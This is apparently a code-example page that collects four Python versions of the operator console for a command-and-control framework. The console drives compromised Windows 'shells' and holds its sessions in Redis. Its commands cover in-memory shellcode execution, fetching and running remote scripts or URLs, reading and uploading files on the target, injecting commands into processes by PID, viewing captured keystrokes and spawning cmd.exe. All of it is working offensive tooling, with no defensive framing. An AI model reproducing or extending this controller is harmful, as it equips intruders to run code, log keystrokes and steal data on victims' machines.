예제 #1
0
class Shell:
    def __init__(self, db, cli=False):
        self.cli = cli
        self.db = db
        self.init_cmds()

    def init_cmds(self):
        self.cmds = {}
        self.cmds['help'] = self.help
        self.cmds['fetch'] = self.fetch
        self.cmds['shell'] = self.shell_exec
        self.cmds['read'] = self.read_file
        self.cmds['upload'] = self.upload_file
        self.cmds['delay'] = self.update_delay
        self.cmds['exec'] = self.exec_code
        self.cmds['ps'] = self.ps
        self.cmds['inject'] = self.inject
        self.cmds['alias'] = self.set_alias
        self.cmds['background'] = None
        self.cmds['keylogger'] = self.keylogger
        self.cmds['exit'] = self.exit
        self.alias = Alias()

    def get_cmd(self):
        return self.cmds

    def flush_output(self):
        self.output = ""

    def evalute_cmd(self, cmd):
        full_cmd = cmd
        self.flush_output()

        self.data = cmd
        cmd = self.data.split(' ', 1)[0].lower()

        if cmd not in self.cmds:
            return ("", full_cmd)

        callback = self.cmds[cmd]

        if not callback == None:
            data = callback()
            return (self.output, data)

        return ("", "")

    def output_cli_or_str(self, message):
        if self.cli:
            UI.warn(message)
            return ""
        else:
            return "[*] %s\n" % message

    def help(self):
        self.output = '''Help Menu\n''' + '=' * 9 + \
        '\n' + tabulate({'_Commands': [
            'background',
            'fetch',
            'exec',
            'read',
            'upload',
            'ps',
            'inject',
            'keylogger',
            'alias',
            'delay',
            'shell',
        'screenshot',
            'help',
            ],
            '__Args': [
            '',
            'path/url, cmd',
            'path/url',
            'remote path',
            'path/url, path',
            '',
            'pid, command',
            'number of line (default 20)',
            'key, value',
            'milliseconds',
            'command',
            '',
            '',
            ],
            '___Descriptions': [
            'Return to the main console (CLI only)',
            'In memory execution of a script and execute a command',
            'In memory execution of code (shellcode)',
            'Read a file on the remote host',
            'Upload a file on the remote system',
            'List processes',
            'Inject command into a target process (max length 4096)',
            'Show last n line of keystrokes captured',
            'Create an alias to avoid typing the same thing over and over',
            'Update the callback delay',
            'Run command by spawning cmd.exe /c',
            'Take a screenshot',
            'show this help menu',
            ]},
            headers="keys", tablefmt="simple")

        self.output += self.alias.list_alias()
        self.output += self.alias.list_custom_alias()
        return ""

    def fetch(self):
        try:
            (cmd, path, ps) = self.data.split(" ", 2)
        except:
            self.output += self.output_cli_or_str("Missing arguments")
            return ""

        data = ""
        path = self.alias.get_alias(path)
        if Utils.file_exists(path, False, False):
            data = Utils.load_file_unsafe(path).decode()
        else:
            data = Utils.download_url(path)

        if not data == "":
            self.output += self.output_cli_or_str("Fetching %s" % path)
            self.output += self.output_cli_or_str("Executing %s" % ps)
            return "%s;%s" % (data, ps)
        else:
            self.output += self.output_cli_or_str("Cannot fetch the resource")
            return ""

    def keylogger(self):
        size = Utils.get_arg_at(self.data, 1, 2)
        try:
            size = int(size)
        except:
            size = 20
        proc = subprocess.Popen("tail -n %d %skeylogger_%s.log" %
                                (size, Log.create_folder_tree(), self.guid),
                                shell=True,
                                stdout=subprocess.PIPE)
        self.output = proc.stdout.read()
        return ""

    def read_file(self):
        try:
            (cmd, path) = self.data.split(" ", 2)
            return "Get-Content %s" % path
        except:
            self.output += self.output_cli_or_str("Missing arguments")
            return ""

    def upload_file(self):
        try:
            (cmd, path, remote) = self.data.split(" ", 2)
        except:
            self.output += self.output_cli_or_str("Missing arguments")
            return ""

        data = ""
        #path = self.alias.get_alias(path)
        if Utils.file_exists(path, False, False):
            data = Utils.load_file_unsafe(path)
        else:
            data = Utils.download_url(path)

        if not data == "":
            self.output += self.output_cli_or_str("Fetching %s" % path)

            data = base64.b64encode(data)
            ps = Utils.load_powershell_script("upload.ps1", 3)
            ps = Utils.update_key(ps, "PAYLOAD", data.decode())
            ps = Utils.update_key(ps, "PATH", remote)
            self.output += self.output_cli_or_str(
                "Payload will be saved at %s" % path)
            return ps
        else:
            self.output += self.output_cli_or_str("Cannot fetch the resource")
            return data

    def exec_code(self):
        try:
            (cmd, path) = self.data.split(" ", 1)
        except:
            self.output += self.output_cli_or_str("Missing arguments")
            return ""

        data = ""
        path = self.alias.get_alias(path)
        if Utils.file_exists(path, False, False):
            data = Utils.load_file_unsafe(path)
        else:
            data = Utils.download_url(path)

        if not data == "":
            self.output += self.output_cli_or_str("Fetching %s" % path)
            data = base64.b64encode(data)
            ps = Utils.load_powershell_script("exec.ps1", 16)
            ps = Utils.update_key(ps, "PAYLOAD", data)
            self.output += self.output_cli_or_str(
                "Payload should be executed shortly on the target")
            return ps
        else:
            self.output += self.output_cli_or_str("Cannot fetch the resource")
            return data

    def inject(self):
        try:
            (option, pid, cmd) = self.data.split(" ", 2)
        except:
            self.output += self.output_cli_or_str("Missing arguments")
            return ""
        ps = Utils.load_powershell_script("injector.ps1", 1)
        ps = Utils.update_key(ps, "PAYLOAD", base64.b64encode(cmd))
        ps = Utils.update_key(ps, "PID", pid)
        self.output += self.output_cli_or_str("Injecting %s" % cmd)
        self.output += self.output_cli_or_str("Into process with PID %s" % pid)
        return ps

    def ps(self):
        ps = Utils.load_powershell_script("ps.ps1", 0)
        return ps

    def update_delay(self):
        delay = Utils.get_arg_at(self.data, 1, 2)
        self.output += self.output_cli_or_str("Updating delay to %s" % delay)
        return "delay %s" % delay

    def set_alias(self):
        try:
            (cmd, key, value) = self.data.split(" ", 2)
        except:
            self.output += self.output_cli_or_str("Missing arguments")
            return ""

        self.alias.set_custom(key, value)
        self.output += self.output_cli_or_str("%s is now set to %s" %
                                              (key, value))
        return ""

    def shell_exec(self):
        command = Utils.get_arg_at(self.data, 1, 1)
        self.output += self.output_cli_or_str(
            "Spawning cmd.exe to execute: %s" % command)
        return "cmd.exe /c %s" % command

    def exit(self):
        return "exit"
예제 #2
0
class Cli:

    def __init__(self, config):
        self.cmds = {}
        self.cmds["exit"] = self.exit_cli
        self.cmds["list"] = self.list_clients
        self.cmds["interact"] = self.interact
        self.cmds["show"] = self.view_event
        self.cmds["help"] = self.show_help
        self.cmds["kill"] = self.kill_shell
        self.cmds["purge"] = self.flushdb
        self.cmds["os"] = self.os_shell
        
        self.shell_cmds = {}
        self.shell_cmds["help"] = self.show_help_shell
        self.shell_cmds["fetch"] = self.fetch
        self.shell_cmds["read"] = self.read_file
        self.shell_cmds["upload"] = self.upload_file
        self.shell_cmds["delay"] = self.update_delay
        self.shell_cmds["refresh"] = self.refresh
        self.shell_cmds["exec"] = self.exec_code
        self.shell_cmds["ps"] = self.ps
        self.shell_cmds["powerless"] = self.powerless
        self.shell_cmds["inject"] = self.inject
        self.shell_cmds["alias"] = self.set_alias
        self.shell_cmds["background"] = None
        self.shell_cmds["exit"] = None

        self.config = config
        self.db = self.config.get("redis")

        self._prompt = "Main"

        self.guid = ""

        self.alias = Alias()

        self.completer = Completer(self.cmds)
        readline.parse_and_bind("tab: complete")
        readline.set_completer(self.completer.complete)

    def set_prompt(self, prompt):
        self._prompt = prompt

    def prompt(self):
        return UI.prompt(self._prompt)

    def set_guid(self, guid):
        self.guid = guid

    def set_interact(self, guid):
        self.guid = guid

    def parse_cmd(self, data):
        cmd = data.split(" ", 1)[0].lower() 
        
        # interacting with a shell
        if not self.guid == "":
            if cmd == "background":
                self._prompt = "Main"
                self.guid = ""
            
            elif cmd == "exit":
                UI.error("*** You really want to kill this shell *** (yes/no)")
                if UI.prompt("Exit").lower() == "yes":
                    self.db.push_cmd(self.guid, "exit")
                    self._prompt = "Main"
                    self.guid = ""
            else:
                Log.log_shell(self.guid, "Sending", data)
                if self.shell_cmds.has_key(cmd):
                    callback = self.shell_cmds[cmd]
                    data = callback(data)

                if not (cmd == "help" or data == ""):
                    self.db.push_cmd(self.guid, data)
                    self.get_cmd_output()
                
        # interacting with the main console
        else:
            if self.cmds.has_key(cmd):
                callback = self.cmds[cmd]
                callback(data)
            else:
                UI.error("%s is not a valid command" % cmd)

    def exit_cli(self, data):
        os._exit(0)

    def list_clients(self, data):
        print("\nList of active shells\n"+"-"*21+"\n")
        for shell in self.db.get_all_shells():
            guid = shell.split(":")[0]
            timestamp = Utils.unix_to_date(self.db.get_data(shell))
            prompt = self.db.get_data("%s:prompt" % guid)
            id = self.db.get_data("%s:id" % guid)
            
            if not id == "":
                if Utils.get_arg_at(data, 1, 2) == "full":
                    print("  %s\t%s %s last seen %s" % (id, prompt, guid, timestamp))
                else:
                    print("  %s\t%s" % (id, prompt))
            
    def interact(self, data):
        current_id = Utils.get_arg_at(data, 1, 2)
        guid = ""
        for shell in self.db.get_all_shell_id():
            id = self.db.get_data(shell)
            if current_id == id:
                guid = shell.split(":")[0]
                break
            
        if not guid == "":
            self.completer = Completer(self.shell_cmds)
            readline.set_completer(self.completer.complete)
            readline.parse_and_bind("tab: complete")
            self.guid = guid
            self._prompt = self.db.get_data("%s:prompt" % guid)
        else:
            UI.error("Invalid session ID")
            
    def view_event(self, data):
        log_path = Utils.get_arg_at(data, 1, 2)
        if log_path == "":
            UI.error("Missing arguments")
            return 
    
        if not log_path in ("http", "event", "error"):
            UI.error("Invalid path")
            return
    
        log_path += ".log"
        
        rows = Utils.get_arg_at(data, 2, 2)
        if rows == "":
            rows = 10
        else:
            try:
                rows = int(rows)
            except:
                rows = 10
                
        log_path = Log.get_current_path(log_path)
        
        data = []
        
        if Utils.file_exists(log_path):
            for line in open(log_path, "rb").readlines():
                data.append(line)
                
            data = list(reversed(data))
            
            print("\nLast %d lines of log\n----------------------\n" % rows)    
            data = list(data)
            
            for i in range(0, rows):
                try:
                    print data[i]
                except:
                    pass
                
    def kill_shell(self, data):
        current_id = Utils.get_arg_at(data, 1, 2)
        guid = ""
        for shell in self.db.get_all_shell_id():
            id = self.db.get_data(shell)
            if current_id == id:
                guid = shell.split(":")[0]
                break
            
        if not guid == "":
            self.db.delete_all_by_guid(guid)
            print("Deleting shell with ID %s" % current_id)
        else:
            UI.error("Invalid session ID")

    def show_help(self, data):
        print("\nHelp Menu\n"+"="*9)
        print("\n" + tabulate({
            "Commands":["list","interact","show","kill", "os", "purge","exit","help"],
            "Args":["full","id","(error,http,event) rows","id", "command", "force", "", ""],
            "Descriptions":["List all active shells","Interact with a session","Show error, http or event log (default number of rows 10)",
                            "kill shell (clear db only)", "Execute command on the system (local)", "WARNING! Delete all the Redis DB", "Exit the application","Show this help menu"]
        }, headers='keys', tablefmt="simple"))
    
    def flushdb(self, data):
        force = Utils.get_arg_at(data, 1, 1)
        if force:
            self.db.flushdb()
            UI.error("The whole redis DB was flushed")
        else:
            UI.error("Please use the force switch")
            
    def os_shell(self, data):
        cmd = Utils.get_arg_at(data, 1, 1)
        print "Executing: %s\n----------------------\n" % cmd
        
        output = subprocess.check_output(cmd, stderr=subprocess.PIPE, shell=True)
        print output
        
    # shell commands start here
    def get_cmd_output(self):
        timestamp = time.time()
        while int(time.time() - timestamp) < int(self.config.get("max-output-timeout")):
            output = self.db.get_output(self.guid)
            if len(output) >= 1:
                for item in output:
                    print item
                break

    def show_help_shell(self, data):
        print("\nHelp Menu\n"+"="*9)
        print("\n"+ tabulate({
            "Commands":["background","refresh","fetch","exec","read","upload","ps","powerless","inject","alias","delay","help"],
            "Args":["","","path/url, cmd","path/url","remote path","path/url, path","","powershell cmd","pid, command","key, value","milliseconds"],
            "Descriptions":["Return to the main console","Check for previous commands output","In memory execution of a script and execute a command",
                            "In memory execution of code (shellcode)","Read a file on the remote host","Upload a file on the remote system",
                            "List processes","Execute Powershell command without invoking Powershell","Inject command into a target process (max length 4096)",
                            "Create an alias to avoid typing the same thing over and over","Update the callback delay","show this help menu"]
        }, headers='keys', tablefmt="simple"))
        self.alias.list_alias()
        self.alias.list_custom_alias()
        
    def fetch(self, data):
        try:
            cmd, path, ps = data.split(" ", 2)
        except:
            UI.error("Missing arguments")
            return ""
        
        data = ";"
        path = self.alias.get_alias(path)
        if Utils.file_exists(path, False, False):
            data = Utils.load_file_unsafe(path)
        else:
            data = Utils.download_url(path)
            
        if not data == ";":
            UI.success("Fetching %s" % path)
            UI.success("Executing %s" % ps)
        
            return "%s;%s" % (data, ps)
        else:
            UI.error("Cannot fetch the resource")
            return ""
        
    def read_file(self, data):
        try:
            cmd, path = data.split(" ", 2)
            return "Get-Content %s" % path
        except:
            UI.error("Missing arguments")
            return ""
        
    def upload_file(self, data):
        try:
            cmd, path, remote = data.split(" ", 2)
        except:
            UI.error("Missing arguments")
            return ""
        
        data = ";"
        path = self.alias.get_alias(path)
        if Utils.file_exists(path, False, False):
            data = Utils.load_file_unsafe(path)
        else:
            data = Utils.download_url(path)     
            
        if not data == ";":
            UI.success("Fetching %s" % path)
            
            data = base64.b64encode(data)
            ps = Utils.load_powershell_script("upload.ps1", 3)
            ps = Utils.update_key(ps, "PAYLOAD", data)
            ps = Utils.update_key(ps, "PATH", remote)
            UI.success("Payload will be saved at %s" % path)
            return ps
        else:
            UI.error("Cannot fetch the resource")
            return data
    
    def exec_code(self, data):
        try:
            cmd, path = data.split(" ", 1)
        except:
            UI.error("Missing arguments")
            return ""
        
        data = ";"
        path = self.alias.get_alias(path)
        if Utils.file_exists(path, False, False):
            data = Utils.load_file_unsafe(path)
        else:
            data = Utils.download_url(path)     
            
        if not data == ";":
            UI.success("Fetching %s" % path)
            
            data = base64.b64encode(data)
            ps = Utils.load_powershell_script("exec.ps1", 16)
            ps = Utils.update_key(ps, "PAYLOAD", data)
            UI.success("Payload should be executed shortly on the target")
            return ps
        else:
            UI.error("Cannot fetch the resource")
            return data

    def powerless(self, data):
        try:
            cmd, ps_cmd = data.split(" ", 1)
        except:
            UI.error("Missing arguments")
            return ""
               
        ps = Utils.load_powershell_script("powerless.ps1", 22)
        ps = Utils.update_key(ps, "PAYLOAD", base64.b64encode(ps_cmd))
        return ps


    def inject(self, data):
        try:
            option, pid, cmd = data.split(" ", 2)
        except:
            UI.error("Missing arguments")
            return ""
   
        ps = Utils.load_powershell_script("injector.ps1", 1)
        ps = Utils.update_key(ps, "PAYLOAD", base64.b64encode(cmd))
        ps = Utils.update_key(ps, "PID", pid)
        UI.success("Injecting %s" % cmd)
        UI.success("Into process with PID %s" % pid)
        return ps
    
    def ps(self, data):
        ps = Utils.load_powershell_script("ps.ps1", 0)
        return ps
    
    def update_delay(self, data):
        delay = Utils.get_arg_at(data, 1, 2)
        print "Updating delay to %s" % delay
        return "delay %s" % delay
    
    def refresh(self, data):
        for item in self.db.get_output(self.guid):
            print item
        return ""

    def set_alias(self, data):
        try:
            cmd, key, value = data.split(" ", 2)
        except:
            UI.error("Missing arguments")
            return ""    
        
        self.alias.set_custom(key, value)
        UI.success("%s is now set to %s" % (key, value))
           
        return ""
예제 #3
0
class Cli:

    def __init__(self, config):
        self.cmds = {}
        self.cmds["exit"] = self.exit_cli
        self.cmds["list"] = self.list_clients
        self.cmds["interact"] = self.interact
        self.cmds["show"] = self.view_event
        self.cmds["help"] = self.show_help
        self.cmds["kill"] = self.kill_shell
        
        self.shell_cmds = {}
        self.shell_cmds["help"] = self.show_help_shell
        self.shell_cmds["fetch"] = self.fetch
        self.shell_cmds["read"] = self.read_file
        self.shell_cmds["upload"] = self.upload_file
        self.shell_cmds["delay"] = self.update_delay
        self.shell_cmds["refresh"] = self.refresh
        self.shell_cmds["exec"] = self.exec_code
        self.shell_cmds["ps"] = self.ps
        self.shell_cmds["powerless"] = self.powerless
        self.shell_cmds["inject"] = self.inject
        self.shell_cmds["alias"] = self.set_alias

        self.config = config
        self.db = self.config.get("redis")

        self._prompt = "Main"
        self.guid = ""

        self.alias = Alias()

    def set_prompt(self, prompt):
        self._prompt = prompt

    def prompt(self):
        return UI.prompt(self._prompt)

    def set_guid(self, guid):
        self.guid = guid

    def set_interact(self, guid):
        self.guid = guid

    def parse_cmd(self, data):
        cmd = data.split(" ", 1)[0].lower()
        
        # interacting with a shell
        if not self.guid == "":
            if cmd == "background":
                self._prompt = "Main"
                self.guid = ""
            
            elif cmd == "exit":
                UI.error("*** You really want to kill this shell *** (yes/no)")
                if UI.prompt("Exit").lower() == "yes":
                    self.db.push_cmd(self.guid, "exit")
                    self._prompt = "Main"
                    self.guid = ""
            else:
                Log.log_shell(self.guid, "Sending", data)
                if self.shell_cmds.has_key(cmd):
                    callback = self.shell_cmds[cmd]
                    data = callback(data)

                if not (cmd == "help" or data == ""):
                    self.db.push_cmd(self.guid, data)
                    self.get_cmd_output()
                
        # interacting with the main console
        else:
            if self.cmds.has_key(cmd):
                callback = self.cmds[cmd]
                callback(data)
            else:
                UI.error("%s is not a valid command" % cmd)

    def exit_cli(self, data):
        os._exit(0)

    def list_clients(self, data):
        print "\nList of active shells\n-----------------------\n"
        for shell in self.db.get_all_shells():
            guid = shell.split(":")[0]
            timestamp = Utils.unix_to_date(self.db.get_data(shell))
            prompt = self.db.get_data("%s:prompt" % guid)
            id = self.db.get_data("%s:id" % guid)
            
            if not id == "":
                if Utils.get_arg_at(data, 1, 2) == "full":
                    print "  %s\t%s %s last seen %s" % (id, prompt, guid, timestamp)
                else:
                    print "  %s\t%s" % (id, prompt)
            
    def interact(self, data):
        current_id = Utils.get_arg_at(data, 1, 2)
        guid = ""
        for shell in self.db.get_all_shell_id():
            id = self.db.get_data(shell)
            if current_id == id:
                guid = shell.split(":")[0]
                break
            
        if not guid == "":
            self.guid = guid
            self._prompt = self.db.get_data("%s:prompt" % guid)
        else:
            UI.error("Invalid session ID")
            
    def view_event(self, data):
        log_path = Utils.get_arg_at(data, 1, 2)
        if log_path == "":
            UI.error("Missing arguments")
            return 
    
        log_path += ".log"
        
        rows = Utils.get_arg_at(data, 2, 2)
        if rows == "":
            rows = 10
        else:
            try:
                rows = int(rows)
            except:
                rows = 10
                
        log_path = Log.get_current_path(log_path)
        
        data = []
        
        if Utils.file_exists(log_path):
            for line in open(log_path, "rb").readlines():
                data.append(line)
            
            print "\nLast %d lines of log\n-----------------------\n" % rows    
            data = list(reversed(data))
            
            for i in range(0, rows):
                try:
                    print data[i]
                except:
                    pass
                
    def kill_shell(self, data):
        current_id = Utils.get_arg_at(data, 1, 2)
        guid = ""
        for shell in self.db.get_all_shell_id():
            id = self.db.get_data(shell)
            if current_id == id:
                guid = shell.split(":")[0]
                break
            
        if not guid == "":
            self.db.delete_all_by_guid(guid)
            print "Deleting shell with ID %s" % current_id
        else:
            UI.error("Invalid session ID")

    def show_help(self, data):
        print "\nHelp Menu\n-----------------------\n"
        print "\tlist      args (full)             List all active shells"
        print "\tinteract  args (id)               Interact with a session"
        print "\tshow      args (error/http/event, count)  Show error, http or event log (default number of rows 10)"
        print "\tkill      args (id)               Kill shell (clear db only)"
        print "\texit                              Exit the application"
        print "\thelp                              Show this help menu"
        
    # shell commands start here
    def get_cmd_output(self):
        timestamp = time.time()
        while int(time.time() - timestamp) < int(self.config.get("max-output-timeout")):
            output = self.db.get_output(self.guid)
            if len(output) >= 1:
                for item in output:
                    print item
                break

    def show_help_shell(self, data):
        print "\nShell Help Menu\n-----------------------\n"
        print "\tbackground                              Return to the main console"
        print "\trefresh                                 Check for previous commands output"
        print "\tfetch         args (path/url, command)  In memory execution of a script and execute a commmand"
        print "\texec          args (path/url)           In memory execution of code (shellcode)"
        print "\tread          args (remote path)        Read a file on the remote host"
        print "\tupload        args (path/url, path)     Upload a file on the remote system"
        print "\tps                                      List processes"
        print "\tpowerless     args (powershell)         Execute Powershell command without invoking Powershell"
        print "\tinject        args (pid, command)       Inject command into a target process (max length 4096)"
        print "\talias         args (key, value)         Create an alias to avoid typing the same thing over and over"
        print "\tdelay         args (milliseconds)       Update the callback delay"
        print "\thelp                                    Show this help menu"
        self.alias.list_alias()
        self.alias.list_custom_alias()
        
    def fetch(self, data):
        try:
            cmd, path, ps = data.split(" ", 2)
        except:
            UI.error("Missing arguments")
            return ""
        
        data = ";"
        path = self.alias.get_alias(path)
        if Utils.file_exists(path, False, False):
            data = Utils.load_file_unsafe(path)
        else:
            data = Utils.download_url(path)
            
        if not data == ";":
            UI.success("Fetching %s" % path)
            UI.success("Executing %s" % ps)
        
            return "%s;%s" % (data, ps)
        else:
            UI.error("Cannot fetch the resource")
            return ""
        
    def read_file(self, data):
        try:
            cmd, path = data.split(" ", 2)
            return "Get-Content %s" % path
        except:
            UI.error("Missing arguments")
            return ""
        
    def upload_file(self, data):
        try:
            cmd, path, remote = data.split(" ", 2)
        except:
            UI.error("Missing arguments")
            return ""
        
        data = ";"
        path = self.alias.get_alias(path)
        if Utils.file_exists(path, False, False):
            data = Utils.load_file_unsafe(path)
        else:
            data = Utils.download_url(path)     
            
        if not data == ";":
            UI.success("Fetching %s" % path)
            
            data = base64.b64encode(data)
            ps = Utils.load_powershell_script("upload.ps1", 3)
            ps = Utils.update_key(ps, "PAYLOAD", data)
            ps = Utils.update_key(ps, "PATH", remote)
            UI.success("Payload will be saved at %s" % path)
            return ps
        else:
            UI.error("Cannot fetch the resource")
            return data
    
    def exec_code(self, data):
        try:
            cmd, path = data.split(" ", 1)
        except:
            UI.error("Missing arguments")
            return ""
        
        data = ";"
        path = self.alias.get_alias(path)
        if Utils.file_exists(path, False, False):
            data = Utils.load_file_unsafe(path)
        else:
            data = Utils.download_url(path)     
            
        if not data == ";":
            UI.success("Fetching %s" % path)
            
            data = base64.b64encode(data)
            ps = Utils.load_powershell_script("exec.ps1", 12)
            ps = Utils.update_key(ps, "PAYLOAD", data)
            UI.success("Payload should be executed shortly on the target")
            return ps
        else:
            UI.error("Cannot fetch the resource")
            return data

    def powerless(self, data):
        try:
            cmd, ps_cmd = data.split(" ", 1)
        except:
            UI.error("Missing arguments")
            return ""
               
        ps = Utils.load_powershell_script("powerless.ps1", 22)
        ps = Utils.update_key(ps, "PAYLOAD", base64.b64encode(ps_cmd))
        return ps


    def inject(self, data):
        try:
            option, pid, cmd = data.split(" ", 2)
        except:
            UI.error("Missing arguments")
            return ""
   
        ps = Utils.load_powershell_script("injector.ps1", 1)
        ps = Utils.update_key(ps, "PAYLOAD", base64.b64encode(cmd))
        ps = Utils.update_key(ps, "PID", pid)
        UI.success("Injecting %s" % cmd)
        UI.success("Into process with PID %s" % pid)
        return ps
    
    def ps(self, data):
        ps = Utils.load_powershell_script("ps.ps1", 0)
        return ps
    
    def update_delay(self, data):
        delay = Utils.get_arg_at(data, 1, 2)
        print "Updating delay to %s" % delay
        return "delay %s" % delay
    
    def refresh(self, data):
        for item in self.db.get_output(self.guid):
            print item
        return ""

    def set_alias(self, data):
        try:
             cmd, key, value = data.split(" ", 2)
        except:
            UI.error("Missing arguments")
            return ""    
        
        self.alias.set_custom(key, value)
        UI.success("%s is now set to %s" % (key, value))
           
        return ""
예제 #4
0
class Cli:
    def __init__(self, config):
        self.cmds = {}
        self.cmds['exit'] = self.exit_cli
        self.cmds['list'] = self.list_clients
        self.cmds['interact'] = self.interact
        self.cmds['show'] = self.view_event
        self.cmds['help'] = self.show_help
        self.cmds['kill'] = self.kill_shell
        self.cmds['purge'] = self.flushdb
        self.cmds['os'] = self.os_shell
        self.shell_cmds = {}
        self.shell_cmds['help'] = self.show_help_shell
        self.shell_cmds['fetch'] = self.fetch
        self.shell_cmds['read'] = self.read_file
        self.shell_cmds['upload'] = self.upload_file
        self.shell_cmds['delay'] = self.update_delay
        self.shell_cmds['exec'] = self.exec_code
        self.shell_cmds['ps'] = self.ps
        self.shell_cmds['inject'] = self.inject
        self.shell_cmds['alias'] = self.set_alias
        self.shell_cmds['background'] = None
        self.shell_cmds['keylogger'] = self.keylogger
        self.shell_cmds['exit'] = None
        self.config = config
        self.db = self.config.get('redis')
        self._prompt = 'Main'
        self.guid = ''
        self.alias = Alias()
        self.completer = Completer(self.cmds)
        readline.parse_and_bind('tab:complete')
        readline.set_completer(self.completer.complete)
        start_cmd_sync(config)

    def set_prompt(self, prompt):
        self._prompt = prompt

    def prompt(self):
        return UI.prompt(self._prompt)

    def set_guid(self, guid):
        self.guid = guid

    def set_interact(self, guid):
        self.guid = guid

    def parse_cmd(self, data):
        cmd = data.split(' ', 1)[0].lower()
        if not self.guid == '':
            if cmd == 'background':
                self._prompt = 'Main'
                self.db.remove_active_user(self.config.get('uid'), self.guid)
                self.guid = ''
            elif cmd == 'exit':
                UI.error('*** You really want to kill this shell *** (yes/no)')
                if UI.prompt('Exit').lower() == 'yes':
                    self.db.push_cmd(self.guid, 'exit', Utils.guid(),
                                     self.config.get('username'))
                    self._prompt = 'Main'
                    self.guid = ''
            else:
                self.db.append_shell_data(
                    self.guid, '[%s] %s Sending: \n%s\n\n' %
                    (Utils.timestamp(), self.config.get('username'), data))
                Log.log_shell(self.guid, 'Sending', data,
                              self.config.get('username'))
                if self.shell_cmds.has_key(cmd):
                    callback = self.shell_cmds[cmd]
                    data = callback(data)
                if not (cmd == 'help' or data == ''):
                    self.db.push_cmd(self.guid, data, Utils.guid(),
                                     self.config.get('username'))
        else:
            # interacting with the main console
            if self.cmds.has_key(cmd):
                callback = self.cmds[cmd]
                callback(data)
            elif not cmd.strip() == '':
                UI.error('%s is not a valid command' % cmd)

    def exit_cli(self, data):
        os._exit(0)

    def list_clients(self, data):
        print '''List of active shells\n''' + '-' * 21 + '\n'
        for shell in self.db.get_all_shells():
            guid = shell.split(':')[0]
            timestamp = self.db.get_data(shell)
            prompt = self.db.get_data('%s:prompt' % guid)
            id = self.db.get_data('%s:id' % guid)
            if not id == '':
                if Utils.get_arg_at(data, 1, 2) == 'full':
                    print '  %s\t%s %s last seen %s' % (id, prompt, guid,
                                                        timestamp)
                else:
                    print '  %s\t%s' % (id, prompt)

    def interact(self, data):
        current_id = Utils.get_arg_at(data, 1, 2)
        guid = ''
        for shell in self.db.get_all_shell_id():
            id = self.db.get_data(shell)
            if current_id == id:
                guid = shell.split(':')[0]
                break
        if not guid == '':
            self.completer = Completer(self.shell_cmds)
            readline.set_completer(self.completer.complete)
            readline.parse_and_bind('tab: complete')
            self.guid = guid
            self.db.add_active_user(self.config.get('uid'), self.guid)
            self._prompt = self.db.get_data('%s:prompt' % guid)
        else:
            UI.error('Invalid session ID')

    def view_event(self, data):
        log_path = Utils.get_arg_at(data, 1, 2)
        if log_path == '':
            UI.error('Missing arguments')
            return

        if log_path == 'key':
            UI.warn("Your encryption key is '%s'" %
                    self.config.get('encryption-key'))
            return

        if log_path == 'password':
            UI.warn("Your server password is '%s'" %
                    self.config.get('server-password'))
            return

        if not log_path in ('http', 'event', 'error'):
            UI.error('Invalid path')
            return

        log_path += '.log'

        rows = Utils.get_arg_at(data, 2, 2)
        if rows == '':
            rows = 10
        else:
            try:
                rows = int(rows)
            except:
                rows = 10

        log_path = Log.get_current_path(log_path)
        data = []
        if Utils.file_exists(log_path):
            for line in open(log_path, 'rb').readlines():
                data.append(line)
            data = list(reversed(data))
            print '''Last %d lines of log\n----------------------''' % rows
            data = list(data)
            for i in range(0, rows):
                try:
                    print data[i]
                except:
                    pass

    def kill_shell(self, data):
        current_id = Utils.get_arg_at(data, 1, 2)
        guid = ''
        for shell in self.db.get_all_shell_id():
            id = self.db.get_data(shell)
            if current_id == id:
                guid = shell.split(':')[0]
                break
        if not guid == '':
            self.db.delete_all_by_guid(guid)
            print 'Deleting shell with ID %s' % current_id
        else:
            UI.error('Invalid session ID')

    def show_help(self, data):
        print '''Help Menu\n''' + '=' * 9
        print '\n' + tabulate(
            {
                'Commands': [
                    'list',
                    'interact',
                    'show',
                    'kill',
                    'os',
                    'purge',
                    'exit',
                    'help',
                ],
                'Args': [
                    'full',
                    'id',
                    '(password,key,error,http,event) rows',
                    'id',
                    'command',
                    'force',
                    '',
                    '',
                ],
                'Descriptions': [
                    'List all active shells',
                    'Interact with a session',
                    'Show server password, encryption key, errors, http or events log (default number of rows 10)',
                    'kill shell (clear db only)',
                    'Execute command on the system (local)',
                    'WARNING! Delete all the Redis DB',
                    'Exit the application',
                    'Show this help menu',
                ]
            },
            headers='keys',
            tablefmt='simple')

    def flushdb(self, data):
        force = Utils.get_arg_at(data, 1, 1)
        if force:
            self.db.flushdb()
            UI.error('The whole redis DB was flushed')
        else:
            UI.error('Please use the force switch')

    def os_shell(self, data):
        cmd = Utils.get_arg_at(data, 1, 1)
        print '''Executing: %s\n----------------------''' % cmd
        try:
            output = subprocess.check_output(cmd,
                                             stderr=subprocess.PIPE,
                                             shell=True)
        except:
            UI.error('Command failed to execute properly')
            output = ''
        print output

    def show_help_shell(self, data):
        print '''Help Menu\n''' + '=' * 9
        print '\n' + tabulate(
            {
                'Commands': [
                    'background',
                    'fetch',
                    'exec',
                    'read',
                    'upload',
                    'ps',
                    'inject',
                    'keylogger',
                    'alias',
                    'delay',
                    'help',
                ],
                'Args': [
                    '',
                    '',
                    'path/url, cmd',
                    'path/url',
                    'remote path',
                    'path/url, path',
                    'pid, command',
                    'number of line (default 20)',
                    'key, value',
                    'milliseconds',
                ],
                'Descriptions': [
                    'Return to the main console',
                    'In memory execution of a script and execute a command',
                    'In memory execution of code (shellcode)',
                    'Read a file on the remote host',
                    'Upload a file on the remote system',
                    'List processes',
                    'Inject command into a target process (max length 4096)',
                    'Show last n line of keystrokes captured',
                    'Create an alias to avoid typing the same thing over and over',
                    'Update the callback delay',
                    'show this help menu',
                ]
            },
            headers='keys',
            tablefmt='simple')
        self.alias.list_alias()
        self.alias.list_custom_alias()

    def fetch(self, data):
        try:
            (cmd, path, ps) = data.split(' ', 2)
        except:
            UI.error('Missing arguments')
            return ''
        data = ';'
        path = self.alias.get_alias(path)
        if Utils.file_exists(path, False, False):
            data = Utils.load_file_unsafe(path)
        else:
            data = Utils.download_url(path)

        if not data == ';':
            UI.success('Fetching %s' % path)
            UI.success('Executing %s' % ps)
            return '%s;%s' % (data, ps)
        else:
            UI.error('Cannot fetch the resource')
            return ''

    def keylogger(self, data):
        size = Utils.get_arg_at(data, 1, 2)
        try:
            size = int(size)
        except:
            size = 20
        output = os.system('tail -n %d %skeylogger_%s.log' %
                           (size, Log.create_folder_tree(), self.guid))
        return ''

